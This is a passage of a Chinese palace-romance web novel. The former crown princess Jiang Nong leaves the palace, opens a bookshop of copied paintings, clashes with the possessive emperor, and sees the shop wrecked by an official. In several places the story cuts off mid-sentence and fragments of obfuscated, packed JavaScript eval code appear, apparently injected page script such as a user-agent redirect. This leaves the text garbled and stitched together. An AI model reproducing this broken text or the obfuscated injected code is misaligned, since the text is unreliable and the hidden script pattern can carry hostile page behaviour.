提到苏氏,姜秾的神色顿时紧张起来,“此事,你务必要对娘亲守口如瓶,绝对不能透露半点。” “嗯。” ** 昭阳殿。 “什么,你说皇上竟然准许姜秾出宫?” 淑妃简直不敢相信自己的耳朵。 碧珠笑道:“那还有假,圣旨都传下去了,明面上说皇上怜温昭太子妃在宫中孤苦无依,特地准许她回娘家与家人同住,实际上奴婢打听到,仿佛是皇上跟温昭太子妃吵了架,两人不欢而散,这温昭太子妃一走,娘娘就少了一个劲敌了。” 淑妃冷冷的扯了扯嘴唇,没想到还不等她动手,那个女人先搬着石头咋了自己的脚,可真让人痛快。 淑妃郁闷的心情一扫而空,将手中的笔搁在桌上,抄完十遍《清心咒》,她的手酸了不说,主要的是,姜秾害她被皇上嫌弃,失了圣心,没想到皇上先她一步将姜秾赶出去了,若是自己来动手,她可能就没这般好运了。 淑妃站起身来,“走,随我去承乾殿去跟皇上请罪。” “是。” 姜秾歇息好之后,次日一早便让人送信去姜家,跟着和匀檀一起收拾东西。 宫里的东西她是一件都不能动的,她成亲之时,爹爹给她准备了十里红妆,叛乱那一日,东宫的下人抢的抢,拿的拿,如今也所剩无几,其余的便是皇帝给她的赏赐。 十分丰厚,半年来,隔壁的耳室便堆满了东西。 这些姜秾一件都没要,她只让匀檀收拾自己剩下的妆奁,到了下午,便离开撷芳殿,步出皇宫。 苏氏收到消息,早早就在门外等候,终于她看到马车飞驰过来,她脸上顿时露出笑容。 姜秾一下马车,就被苏氏搂在怀里,姜秾撒娇的在苏氏的怀里蹭了蹭,“娘,我好想你。” 苏氏听到女儿这句话,眼眶顿时就红了,“娘也想你,这次回来在家里多住些时日。” 姜秾从苏氏怀里抬起头来,笑着说道:“娘,皇上准许我回娘家住,我以后就不走了,每天都陪在你身边。” 苏氏听到这句话既惊又喜,赶紧道:“好,那娘让人将你住的屋子收拾出来。”说完,她又很是感慨道:“之前娘还担心你在宫里,皇帝会为难你,如今看来娘真是多虑了。”没想到皇帝真的能放下对姜家的仇怨,善待她的女儿。 听到她提起皇帝,姜秾脸色微微一僵,不过很快又恢复正常,“娘,我不过是个弱女子,堂堂皇帝,又怎么会跟我过不去呢。”她这样说只是不想让苏氏操心,可实际上她被那人折腾成什么样,只有自个知道。 苏氏连忙点头,“秾儿说的没错。” 母女两相携进门,姜秾四下里一看,只见除了下人,三房一家子都不见踪影。 “娘,三叔他们一家都去哪里了?” 苏氏道:“你也知道,你三叔一家子在城中开了家酒馆,一家子都在酒馆里忙活,要天黑才能回来呢,他们不知道你回来了,若是知道了,定然会和娘一样高兴。” 别看苏氏和刘氏互相看对方不顺眼,但姜家落难之后,这对妯娌却是同气连枝的,如今三婶在外做生意,她娘在家中掌家,一个主外,一个主内,十分的和谐。 见姜秾脸上露出笑容,苏氏又道:“你先去歇一会,娘让人备饭,等你三叔一家子回来,咱们一家人好好吃一顿。” “好。” ** 姜秾前脚刚走,金嬷嬷便来承乾殿送消息。 “皇上,温昭太子妃走了。” 皇帝闻言,目光微微一顿,却没有抬头,只是淡淡的“嗯”了一声。 金嬷嬷见皇帝不甚在意的样子,暗暗纳罕,之前皇上还将太子妃当个稀世珍品一样捧着,怎么找忽然就冷淡了?难道真是被太子妃伤透了心? 金嬷嬷接着又道:“太子妃这次离开,带走的只有她自个的妆奁,皇上赏赐的东西她一样也没拿。” 宗焱听了,脸上没有丝毫情绪,“朕知道了,你先下去吧,既然她走了,那你便回到承乾殿当差。” “老奴遵命。” 金嬷嬷刚走,宋有祥便憋不住的问,“皇上,您当真打算放过温昭太子妃?” 宗焱神色一顿,姜秾的小衣他尚且贴身藏着,他隐隐还能感受到那股淡不可闻的香气。 薄唇冷冷一勾,放过她?休想! 她不是一直觉得是他强迫他吗?那他就撒一个更大的网,让她心甘情愿入局。 宋有祥见皇帝不语,眼神晦涩难明,也不知在想什么,只是莫名的感觉胆寒,暗自打了个哆嗦。 外头的小太监进来传话,“皇上,淑妃娘娘来了。” 皇帝皱了皱眉,“她来做什么?” 小太监道:“娘娘说她是来请罪的,另外……还有关于宋选侍推温昭太子妃落水之事,想要跟皇上交待清楚。” 皇帝不想见淑妃,但听到后面那一句,还是勉为其难的答应下来,“让她进来。” 小太监退下,不多时,淑妃领着宫女进来,她走上前来给皇帝行礼。 “皇上万安。” 宗焱只是淡淡的扫了她一眼,“平身。” 淑妃站起来,双手托着抄录好的《清心咒》呈上去,嘴里说道:“皇上,臣妾知错了,这是臣妾抄录的经文,还请皇上过目。” 宗焱给宋有祥使了个眼色,宋有祥伸手接过,转身呈送给皇帝,宗焱接过看了一眼,气也消了一半,淑妃毕竟是他稳住秦家的棋子,他也不能揪着此事不放,他搁下经文道:“这件事情朕就不追究了,只盼你往后谨言慎行,莫要令朕再失望。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宗焱并非想要包庇她,而是这件事情只要姜秾自个不承认,就没办法给她定罪,即便是他也无可奈何。 宗焱沉吟片刻道:“温昭太子妃弱不禁风,兴许真是被宋选侍扇了一个巴掌后,没站稳掉下去的,宋美人虽然没有刻意推,但是她到底有错。” “皇上,这……” 皇上明明知道,是姜秾故意诬陷,却还这样明目张胆的包庇,淑妃一时气的说不出话来。 “好了,这事情就到这儿,宋选侍也关了许久,朕解除她的禁足。” 淑妃开怀道:“是,臣妾这就把这个好消息告诉宋美人。” 从承乾殿出来,淑妃连脚步都松快了许多。 碧珠恨恨道:“娘娘,皇上那么聪明之人,怎么会猜不到是温昭太子妃故意为之,为何他还是要这样轻拿轻放?” 淑妃岂能不知皇帝的心思,不管他是想要包庇姜秾,还是其他原因都不重要,反正这件事情继续查下去也不会有什么结果,她只需要皇上看穿那个女人的真面目,让他看清自己费尽心机宠爱的女人也不过如此而已,这就足矣。 淑妃道:“好了,这件事以后别提了,咱们去把这个好消息告诉宋选侍。” 皇上只是解禁宋选侍,却没有恢复她的品级,这件事情,宋选侍怕是不会善罢甘休。 16. 第 16 章 天黑的时候,三房一家子都回来了,见姜秾到家,他们都很开心。 姜彻问了一句,“秾姐儿,这次回来住多久?” 姜秾笑着回应道:“皇上准我长住,不走了。” 姜彻露出笑容,“那敢情好,自从你爹走后,你娘孤苦伶仃的,你回来陪一陪她也是好的。”他是真欢喜侄女回来,她一个人孤零零的待在宫里有什么意思,还不如回家,一家人待在在一起还开心些,何况天意难测,姜秾又是前朝太子妃,留在宫里,他们还要担心她有性命之忧,如今姜家败落了,他们也不图什么荣华富贵,只求一家人齐齐整整的,便也知足了。 姜秾点点头,“三叔,我正有此意。” 一旁的刘氏听见了,走上前来,拉着姜秾的手道:“秾姐儿,你读书多,往后有空教一教赐哥儿做功课,这孩子虽然刻苦,但咱家如今这样子也请不起好的先生来教他,只能麻烦你这个当姐姐的。” 姜彻皱眉,埋怨道:“你看你,秾姐儿才回家你就使唤她,也不让她好好歇息。” 刘氏怼了他一脸,“哎呦,都是一家人,我这跟她客气什么,何况我若是从外面雇一个先生上门还要给钱,而且还未必比得上秾姐儿。”回头又笑盈盈的对姜秾道:“秾姐儿,你对不对?” 姜秾忍俊不禁,“三婶放心,我一定好好教弟弟,反正我闲着也是闲着,刚好找点事情做一做。” 刘氏拍拍她的手,觉得自家的姑娘可真好,女儿懂事,侄女也懂事,都跟贴心的小棉袄一般。 不多时,姜穗和苏氏端着饭菜过来了,一家人吃了晚饭,因姜秾的屋子还没收拾好,姜穗便主动提议让姜秾去她房间歇息,姜秾自然答应。 夜里,两个姑娘躺在床上,姜秾问起姜穗酒馆的事情,姜穗笑着道:“酒馆生意还不错,三姐姐,改天你有空过来看看。” 姜秾看着她秀丽的侧脸,寻常闺阁女子在这个时候都在忙着相亲,可姜穗却用自己柔弱的肩膀扛起了整个家。 姜秾觉得有些方面,她不如姜穗。 “累吗?” “若说和从前比起来那当然是累一点,可我觉得日子过的更踏实。”姜穗笑了笑,她已经接受家道中落的事实,她的父亲没有做官,母亲也只是商贾之女,她以往只是沾了三叔的光,才会显得高贵,她一直都明白这个道理,因此跌落下来时,也并未觉得不可接受。 说着,姜穗转过头来,看着姜秾,“倒是你,三姐姐,如今咱们家日子过的不如从前,和宫里的生活更是天差万别,只怕会让姐姐受委屈。” 姜秾知道她没有别的意思,她笑道:“什么委屈不委屈的,咱们是一家人,有苦一起吃,有难一起扛,只要一家人在一起,这些都不重要。” 姜穗见她看得开,十分赞同的点头,姐妹二人聊到深夜,方沉沉的睡过去。 次日一早,姜秾便去给她娘请安,三房都出门了,她和娘用完早饭,便去看了一眼赐儿的功课,发现姜赐当真是聪慧无比,根本就不需人教,姜秾笑眯眯的问姜赐,“赐哥儿,你这般优秀,姐姐瞧着往后咱们姜家振兴有望了。” 她那三叔母看似无利不起早,实则就是给她一个安心待在家里的理由。 姜赐被夸了心里高兴,不过还很矜持的说道:“姐姐过誉了,赐儿还有许多不足之处,比如学琴,先生总说我弹的不好,三年前,姐姐从扬州回来之后,琴艺便精进了许多,不如姐姐教一教我。” 提到三年前的事,姜秾目光一黯,但很快她又将情绪压下去,三年前的事情除了她爹娘之外,无人知道,就连三房也只当她在扬州养病养了三个月。 姜秾的琴艺得皇帝点拨之后,的确比一般人要好上许多了,勉强能教一教他,便点头道:“好,那我试一试。” 随后,姜赐取出琴,姜秾先让他弹奏一遍,听到弹错的地方,她给他纠正指法。 如此教了三五天,姜赐奏出的琴音的确比之前好听了许多,不过美中不足的是他的琴不好,因此影响了他的发挥,姜赐今年十四岁,之前在社学读书,如今准备考京城知名的私塾崇文书院,这家书院选拔学子便有诸多要求,其中一项便是要考核琴棋书画。 赐儿若是拿这把琴去参加考试,必然会受到影响。 姜秾道:“赐哥儿,若是要通过考核,还得换一把好琴,琴好,音色好,奏出来的曲子便好听。” 姜赐无奈的看了姜秾一眼,“三姐姐,这个我自然知晓,不过要买一把好琴,需要十几两银子,如今咱们家虽然能维持生计,但终归是不如从前,得精打细算过日子,不能想买什么就买什么。” 姜秾道:“虽说日子不如从前,但该花的还是要花。”见姜赐面露迟疑之色,姜秾拉着他的手道:“走吧,钱三姐姐先帮你垫着。” “那姐姐我以后再还给你。” 姜秾摇头道:“不用,咱们是自家兄妹不必分的这么清。” 在姜秾一番劝说下,姜赐总算是答应出门了,两人来到琴行,姜赐指着斜对面的小酒馆道:“三姐姐,你瞧瞧,那就是我娘他们开的酒馆。”看着姜彻送完客人又回到酒馆,有些心酸,“爹娘其实很辛苦,我有时候也想去酒馆帮忙,可是爹娘 姜秾看了一眼,只见酒馆外头挂着一块酒旗,写着“刘氏酒家”四个大字,她三叔正在送客,酒馆虽然不大,但确实客来客往,生意很好,她三婶经营铺子真是一把好手,改日她得向她学学做生意,反正自己也没有别的本事,不如学着三婶做生意,也好和姜穗一样养家照顾母亲。 姜秾抬手摸了摸姜赐的脑袋,“你好好用功读书,就是在帮助他们,好了,咱们先进去看琴吧。” 两人来到琴行,伙计听完两人的要求,又见姜秾穿得不俗,便指着架子上的一把琴道:“夫人,我看这琴挺适合令弟的,是用老料青桐木造的,琴弦是用牛筋做的,不仅耐用,而且音色极好,姑娘不防试一试?” 姜秾拿起琴一看,又试着奏出几个音来,果然音色还不错,便问了价钱,伙计道:“夫人,此琴不贵,五十两银子卖给您。” 姜秾一听五十两,顿时吓了一跳,“五十两,这也太贵了,能否再便宜一些?”若是搁在从前,姜秾必然不会讨价还价,可现在哪里还有那个阔绰。 小伙计看得出来她很是心动,便不肯松口,“姑娘若是嫌贵,不妨看看其他的,这把琴就是这个价,再也不能便宜半点。” 姜秾犹豫了片刻,毕竟一把好琴难得,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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小伙计被谢熙扬这么一说,顿时就不高兴了,“这位公子,你不买就算了,为何要诋毁我们店里的琴,我这琴明明就是用上好的青桐木做的!” 谢熙扬回过神来,他道:“真正的老料青桐木比你手上这把琴要轻许多,我可以找专门的斫琴师傅来辨别真伪。” 见谢熙扬要找斫琴师傅,小伙计赶紧求饶,“公子,小店做的是小本生意,您就高抬贵手,这琴的确不是青桐木,但也是上好的桐木所制,这样吧,我二十两卖给您成不成?” “最多十两。” “好吧,十两就十两。” 几人买了琴之后,从琴行走出来,姜秾站定后看着谢熙扬,“谢公子,这次的事情多亏了你。” 谢熙扬笑道:“夫人何必客气,不过举手之劳而已。” 两人正说着,不远处,齐王和宗焱骑着马,在街道上纵辔缓行,齐王道:“前面就是天仙楼了,皇上这辈子还没去过花楼吧,要不臣带您去玩一玩?这里面的姑娘可和宫里的不一样呢。” 齐王脑子里只有风花雪月, 宗焱见他这般没出息的样子,只是淡淡一哂,“花楼朕去过,女人朕也碰过。” 齐王惊的嘴巴半天合不拢,旋即又是一副恍然大悟的神色,“皇上,怪不得您对宫里的女人不感兴趣,您难道在宫外有相好?” 见宗焱没有说话,齐王扭头看过去,只见宗焱不知何时勒马停下,眼睛盯着从琴行走出的一男一女,脸色阴沉,那女子正是姜秾! 这边,姜秾正要与谢熙扬分别,扭头一看,正好对上皇帝骇人的视线,她惊的往后退了两步,手中的琴差点掉下来。 “姜秾,朕允许你出宫,你便是在这里和别的男人私会?” 17. 第 17 章 姜秾在短暂的慌乱后冷静下来。 她对着皇帝福了福身子,“皇上严重了,妾身只是在这里偶遇谢公子,谢公子帮妾身选琴,并不是皇上所说的私会。” 姜赐见宗焱对姜秾说话如此无礼,本要发怒,一听对方是皇帝,顿时吓了一跳,赶紧抱拳行礼道:“皇上,您冤枉姐姐了,姐姐和谢公子之间清清白白。” 谢熙扬见皇上脸色十分难看,一时也很纳罕,但想到姜秾前朝太子妃的身份,皇上又是她的长辈,说话难免带着几分训诫的意思,便拱手解释道:“皇上,臣和温昭太子妃只是偶遇,您误会了。” 谢熙扬不开口还好,一开口仿佛触了宗焱的逆鳞一般,宗焱冷冷道:“谢熙扬,鸿胪寺这么清闲么?你竟然还有空在外头闲逛。” 今日休沐,难道也要他待在公廨里头? 谢熙扬心中这么想,嘴上却不敢说,只得低头道:“臣错了,一会臣便去公廨办差。” 齐王也觉得皇上这话似乎有些过头了,就算他再不喜欢这位侄媳妇,也没必要把话说的这么难听。 齐王道:“对啊,皇上,这不还有一个小的在旁边吗?怎么能是私会?” 虽然大家都这么说,可皇帝的脸色也并未缓和下来,他就是不喜欢她同别的男人在一起,看见便觉得不舒服。 宗焱冷冷道:“就算如此,你是温昭太子妃,皇室宗妇,一言一行都关乎皇室颜面,更该谨言慎行才是。” 姜秾岂能不知皇帝这是借题发挥,无非就是不喜欢看到自己跟别的男人在一起罢了。 这个人的占有欲真是太可怕了,难道她被他召幸过,就连和别的男人说句话的资格都没有了么? 姜秾也只是敢怒不敢言,低头道:“妾身知道了,妾身谨遵皇上教诲。” 几人这样僵持着,街上众人的目光纷纷朝这边看来,虽然听不清几人在说些什么,但几人外貌优越,站在那儿便成了焦点,只听得路人的议论声越来越大,宗焱这才收敛怒容,瞥了齐王一眼,“咱们走。” 两人骑着马扬长而去,看着两人的身影消失在视线里,谢熙扬这才收回视线。 谢熙扬道:“夫人,对不起,是我连累了你。” 姜秾淡淡一笑,“谢公子,这不怪你,你无需自责。”要怪就只能怪她自己,和皇帝有那么一层见不得人的关系。 谢熙扬见她的笑容里掺杂了些许苦涩,也知道她如今孤身一人定然是不好过的,他的内心被勾起了一丝丝的怜悯,还要再说什么,只听姜秾道:“谢公子,家中还有事,我们就此别过。” “好,告辞。” 姜秾对着他轻轻颔首,叫上姜赐,转身离开。 谢熙扬看着那个窈窕的身影渐渐淹没在人群里,方才回过神来。 路上,姜秾郁闷了一阵,姜赐见她不开心,在一旁开导,“姐姐,你莫要不高兴了,那皇上脾气那么差,往后咱们离他远远的。” 姜秾这才展颜,轻轻的“嗯”了一声,回头对姜赐道:“此事你莫要告诉二伯母。” 姜赐知道她是报喜不报忧,轻轻的“嗯”了一声。 姜秾回到家里,已到午时,苏氏已经让人张罗好了饭菜,就等他们姐弟二人回来吃了,姜秾看着满桌的饭菜,心里的那点郁闷也一扫而空。 等用了饭,姜赐回屋读书,苏氏庄子里送了些进项过来,拿着账本在那儿记账。 姜秾在一旁拿过账本翻了翻,发现苏氏庄子里的进项不多,一年也才几百两银子,如今还要供这么一大家子的开支。 姜秾道:“娘咱们家的进项并不多,女儿想学三叔母那样,在城中开一家书肆,卖些书籍字画。” 苏氏手上动作一顿,她抬头看女儿,不认可的说道:“秾儿,你毕竟是温昭太子妃,若是出去抛头露面做生意,岂不是损了皇家的颜面,若是被皇帝知道了,兴许还会还会治你的罪。” 姜秾却道:“娘,我可以做东家,平日里不去铺子,雇两个伙计做事便好,横竖咱们家还有现成的铺子,空在那儿也是浪费。” 这些铺子都是苏氏的嫁妆,苏氏出身淮南大族,当时显赫一时,不过到了她娘这一辈,家里只有一个女儿,母亲出嫁之后,苏家的香火也断了,那时母亲带着苏家整个家产嫁给她父亲,父亲虽然醉心权术,但对妻子却极为专一,身边连个小妾也没有,母亲虽然痛心父亲的所作所为,但也深爱着父亲,即便知道他做了那么多伤天害理之事,还是选择原谅他,并拿着自己的嫁妆在城中做善事,虽然散尽了家财,却也为姜家积累了一些福报。 苏氏却看了女儿片刻,沉吟道:“秾儿,娘手上这些进项还勉强能过日子,不需要你抛头露面,也不希望你因此受到伤害。” 姜秾道:“娘,女儿长大了,不能总被您护在羽翼之下,何况靠庄子里的进项终究不是长久之计,女儿想靠自己,像三叔母和姜穗一样撑起咱家的门户,等娘老了,女儿也能成为你的依靠。” 苏氏见她态度十分坚定,便也不再阻拦,苏氏道:“好,娘亲答应你,你想去便去吧,娘给你出本钱。” 姜秾开心的抱住苏氏的胳膊,“娘真是太好了。” 苏氏笑着刮了刮女儿的鼻子。 由于宗焱心情不佳,齐王并没有再提去青楼之事,两人找了一家酒楼喝酒。 两人坐在窗口,齐王看着宗焱,“皇上,你是不是对温昭太子妃有成见?” 宗焱冷冷道:“她是宗云骞之妻,朕难道还要对她毫无芥蒂?”他这话不过是敷衍齐王而已,他和姜秾那点见不得光的关系,他自己心里清楚。 齐王却不以为然,宗焱若真是心怀芥蒂,便不会留下她的性命,而且他不仅留下姜秾,就连姜家人也没有赶尽杀绝,他必然是有其他的理由,但是看宗焱这神色,必然是不会说出口。 齐王道:“她一个女流之辈,皇上大可不必放在心上,而且您若看她不顺眼,大可直接废除她的身份,将她赶出皇宫或者京城都可以。” 宗焱冷笑,他锐利的目光投向齐王,齐王被她看的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她这家书肆位置虽然不太好,但靠近京城最负盛名的青楼红袖招。 哪个入京的文人墨客不去红袖招待上几日,因此这地读书人也多,书肆一经开业后,生意倒是不错。 这日,姜秾照旧将临摹好的字画送到书肆里,书肆的伙计李善满脸欢喜的将东西接过去,“东家这画画的可真好,简直可以以假乱真,那些入店的客人根本就辨不出真伪。” 姜秾只是笑了笑,“挂起来吧,这画即便再好,也不是真品,若是客人问起,你直接说便是,不必隐瞒。” 她的琴艺虽然只有一般水平,但书画是她爹亲自教的,她爹的书画堪称昭国一绝,她尽得爹爹真传,不管是临摹谁的书画,都跟真的一样。 李善点头应下,这时,姜秾又道:“你派人去对面的红袖招走动走动,若是有文人学子留下墨宝,便高价买下来,多印些放在书肆里。” 李善是个聪明人,一点即透,书肆但凡有这些文人雅士的墨宝,根本就不愁生意。 姜秾交待完毕之后,从书肆离开。 齐王刚被两个姑娘从红袖招送出来,目光随意一瞥,正好看到有道熟悉的身影走在前面,等他仔细看来时,那人影又消失不见了。 齐王心里纳罕,该不会是他对姜秾念念不忘出现错觉,看什么人都觉得有点像姜秾? 齐王收回目光,正要走,对面书肆外头挂着的一幅画却吸引了他的注意力,他大步走过去。 18. 第 18 章 隔天,宗焱正在承乾殿同几位大臣商讨政务,听得齐王来了,吩咐宋有祥将人请进来。 不多时,宋有祥便领着宗灼走进来。 宗灼手里拿着一幅画,大摇大摆上前,“臣给皇上请安。” 几个臣子也起身给齐王行礼,行礼完毕,几人也相继离开。 宗焱的目光落在齐王身上,“皇兄,何事入宫?” 宗灼笑了笑,对他拱手道:“皇上,臣在街上偶然看到一幅《渔乐图》,也不知道真伪,特地带入宫里,请好皇上辨一辨。” 宗焱盯着他看了片刻,随后漫不经心的笑了下,“《渔乐图》在承乾殿里挂着,是朕亲自画的,外头的自然是假的,你不会连这个都辨认不出来吧?” 宗灼笑了笑道:“臣也觉得不可能是真的,可这幅画实在是太像了。”说着,他将那幅画给拿出来,展开一看,宗焱盯着仔细看了两秒,眸子轻轻眯了眯,随后露出些许赞扬之色,“画功不错,差一点可以以假乱真。” 宗灼饶有兴致的问道:“皇上为何说差一点?” 宗焱指着一旁的题字道:“皇兄瞧一瞧这里,笔力不够,这明显是女子临摹的。” 一听到说是女子,宗灼越发来劲了,他道:“也不知是什么样的女子,能将皇上的画临摹到这种地步。”便是皇上本人也赞许有加。 宗焱的好奇心也被勾起来了,“你是从哪里买的?” 宗灼道:“从红袖招对面的书肆买的,也不知道那书肆老板是谁,最近生意格外火爆,每次都能买到城中的文人墨客最新的墨宝,不仅如此,还能买到一些几乎可以以假乱真的字画,有些甚至比真迹还要画的好,没想到这作画的人竟然是女子。” 宗焱沉吟片刻后,说道:“走,随朕出宫去看看。” 两人换上便装骑马出宫,走出金水桥之后,宗灼便笑道:“皇上,您最近出宫的次数多了,这般情形,总让臣想起父皇还在世的时候。” 昔年,他跟宗焱一起打马游街的场景还历历在目,宗焱惊才绝艳,从街上招摇而过,两边投掷过来的鲜花荷包都能落一地。 宗焱淡淡回应,“朕身为天子,出宫体察民情也是应该的。” 不多时,两人便来到那家书肆。 只见书肆门前客人来来往往,生意十分火爆,更有红袖招的姑娘从街对面走过来,在书肆门前招揽客人。 姜秾今日刚好在店内,听一个客人问起那幅《渔乐图》,姜秾只得说道:“这幅画已经卖完了,若是诸位还想要,留下定金和名字,七天之后过来取便是。” 此话一出,不少人上前交定金定画,姜秾收了钱,将客人一一送走,正拨算盘,冷不丁听到一个冰冷的声音,“朕竟不知道,你还有这个本事。” 姜秾手一抖,抬头看去,眼前的不是皇帝又是谁,她没想到带着面纱也能被人的手抖了一下,赶紧从柜台后绕出来,对着二人行礼,“妾身见过皇上,齐王殿下。” 齐王也认出姜秾来,虽然她蒙着面纱,可这身段,声音却无法隐藏,绝不会有第二个人。 齐王惊讶不已,怪不得那日他瞧见有个身影与她相似,原来真的是她。 齐王双眼发亮,“姜秾,真的是你,你店里面这些画都是你临摹的?” 姜秾看了一眼皇帝冷凝的面色,迟疑了一下,最后又无奈的点头,“是妾身所画,让殿下见笑了。”她还以为皇帝不可能会关注这些,就算关注到了,也不会这么快,到时候她再找个礼理由搪塞过去,谁知道,书肆才开几天,就被他发现了,她的运气可真是太差了。 齐王用折扇在手掌心击打了两下,很是兴奋,“姜秾,你说错了,不是见笑,是长见识了。” 皇帝拧着眉,怒斥一句,“你们说够了没有?” 齐王立马闭上嘴,皇帝的目光冷冷扫过姜秾,倒是长本事了,竟然在这里开起了书肆,皇帝冷冷道:“你应当知道自己的身份,堂堂温昭太子妃,在这里开书肆,传出去了皇家的颜面何在?” 说着,他又看了一眼对面的红袖招,一股脂粉味随风传来,令他的眉头皱的更深了。 皇帝生气的样子,总是让人心里发憷,姜秾鼓起勇气道:“皇上,这书肆并不是妾身的,乃妾身的三叔所开,因妾身的字画还过得去,三叔便让妾身画一些拿到书肆里来卖,妾身闲暇之余,帮着打理一番,难道这也不行?” 皇帝见她一副理直气壮的样子,气的发笑,她既然敢这样说,就笃定自己查不出什么东西来。 偏偏他还真没有理由去说她,姜家三房本就是做生意的,她若只是帮着打理,也说得过去。 宗焱脸色微沉,“你开你的店,可你为何要临摹这幅《渔乐图》?” 姜秾愣了一下,“妾身知道《渔乐图》的真迹在皇上的承乾殿里,可妾身只是临摹而已,难道这也不行?” 皇帝斩钉截铁道:“自然不行!” 姜秾见他这样蛮不讲理,气的说话都颤起来,“为何不行?难道就要因为皇上不喜欢妾身临摹这幅画,妾身就不能临摹,皇上这样做,未免太霸道了!” 皇帝抿着唇道:“你在看那幅画的时候,难道就没注意看画上的署名么?” 见姜秾一脸茫然的样子,齐王在一旁好心提醒她道:“姜秾,那幅画是皇上画的,你这都不知道?” 姜秾惊的瞪圆了眼睛,那幅画她看了那么多回,却从未留意过上面的署名,竟然是皇帝……皇帝浴血沙场多年,竟然能画出《渔乐图》这种超然物外的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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昭阳殿内,碧珠见淑妃闷闷不乐,便问道:“娘娘,您与皇上也已经冰释前嫌,那位也被赶出皇宫,您为何不开心?” 淑妃淡淡道:“你没发现这段日子,皇上出宫的次数多了么?他为了谁出宫,还用猜吗?” 本以为人走了后,皇上会歇下那份心思,没想到皇上竟然追到宫外去了,她是真小看皇上对姜秾的心思了。 可皇上越是喜欢那个女人,淑妃心里便越发不舒服,姜秾离宫这段日子,皇上也是一天都没来过后宫,仿佛将后宫的女人都遗忘了。 淑妃道:“你去查一查,这些日子姜秾在外头都做些什么,然后把消息透露给宋选侍,本宫救了她一次,可不能白救!” “是。” 19. 第 19 章 自从在书肆里遇到皇帝后,姜秾便一连数日不曾出门,每日只在家里教姜赐奏琴。 果然,换了琴还是不一样,姜赐奏出的琴音越发空灵悦耳。 姜秾夸了堂弟几句,“赐哥儿的琴艺越发精进了,再有些日子,便能超过三姐姐。” 姜赐被姜秾夸得不好意思了,害羞的摸了摸鼻子道:“三姐姐,您别这样夸我,不然我可要骄傲了。” 姜秾忍不住笑出声来,她这样夸姜赐,绝非夸大其词,而是姜赐确实有这个能耐,“赐哥儿不用过分谦逊,人偶尔骄傲一下也无妨,只是无需过度自满。” 姜赐点点头,这时一个急促的脚步声传来,“三姑娘,您去看看吧,匀檀被人打了。” 姜秾一惊,赫然站起往外走,姜赐也跟在后头。 姜秾来到正院,只见匀檀坐在也椅子上,满脸是伤,苏氏身边的嬷嬷正在给她处理伤口。 姜秾脸色大变,“匀檀,你怎么会弄成这样?” 匀檀一直强忍着眼泪没掉落,看到她泪水便止不住的往下流,“姑娘,咱们的书肆被人给砸了。” 姜秾下意识的问道:“是皇帝?” 匀檀摇头道:“奴婢也不知道,那些人来势汹汹,一来书肆便说咱们售卖禁书,误人子弟,走进来便在店里乱杂乱扔,奴婢和李善想要拦住,他们就打我们,要不是李善拦在前面,奴婢身上还不止这点伤。” 姜秾听完,双手攥紧,她们的书肆除了书籍字画,便没有其他东西了,便是售卖避火图也是得到官府准许的,何曾有什么禁书,这分明就是栽赃陷害。 他那日的态度明明就是,只要她不参与就行,为何要做的这么过分? “那些人呢?现在在哪里?” 匀檀道:“咱们的书肆已经被砸了,那些人守在书肆门口,不允许任何人靠近。” 姜秾咬咬牙,“我去看看!” 姜赐道:“姐姐,我跟你一起去,若真有什么事,我也能帮姐姐去通风报信。” 姜秾点点头,这时,苏氏从房内走出来,喊住要离开的姜秾,“秾儿,若真是皇上所为,你去找他理论也没用,多一事不如少一事,要不就算了,反正咱们也没亏损多少。” 姜秾回头看着苏氏,神色坚决,“娘,就算他是皇上,也不能这般为非作歹,我要讨个说法去。” 说完,她不顾苏氏反对,快步走出去。 不多时,两人就到了书肆门口,只见书肆大门已关,店里的书全部堆在地上,几个人围着正要点火。 姜秾大步走上前,出声阻止,“都给我住手!” 众人闻声回头,只见姜秾蒙着面纱,提着裙子跑过来,为首的宋鸣志,目光也一下子就被她吸引了。 宋鸣志的目光黏在她脸上挪不开,“大胆!你是何人?谁让你来阻止本官查案的!” 姜秾冷冷的盯着他,“此间书肆的主人,你又是何人?你以什么身份砸我的书肆,烧我的书?” 宋鸣志昂起下巴,语气轻慢,“本官是顺天府的治中宋鸣志,你们的书肆出售违禁书籍,本官奉旨查封烧毁,有什么不对?”说着,他拿出自己的腰牌给姜秾看了一眼。 姓宋?姜秾很快就想到了什么,看了他一眼,“既然你是宋家人,那应当知道我是谁,我的书肆你也敢乱来,就不怕给自己惹麻烦?” 宋鸣志根本就没将她放在眼里,他冷冷的说道:“我还真不知道你是谁,既然你企图用身份来压本官,本官还真要见识见识你的真面目!” 说着,他扭头吩咐,“来人,将她的面纱摘下来!” 这时,走上来两个人,正要动手,姜赐走到姜秾身前,替她挡住,“你们不许动我三姐姐!” 这两官差都是五大三粗的,哪里把瘦弱的姜赐放在眼里,其中一个抓起姜赐的胳膊便将他给丢出去,“滚开!” 姜赐被扔在地上,两个官差一左一右架住姜秾,其中一个伸手一抓,将她脸上的面纱给揭下来。 姜秾那张脸就这样袒露在众人面前。 姜秾听到对面传来一阵吸气声。 那些男人皆直勾勾的看着她,就连红袖招里面的人也探出头来看热闹。 唯独宋鸣志,眼底没有任何诧异之色,仿佛早就猜到是她了一般。 他嘲讽道:“原来是温昭太子妃,娘娘好好的清福不享,在这里贩卖违禁书籍,好巧不巧还开在这种地方,莫非娘娘是要跟红袖招的姑娘们抢生意。”他故意拔高嗓门,好让附近的人都可以听到。 红袖招的楼上已经传来阵阵奚落声。 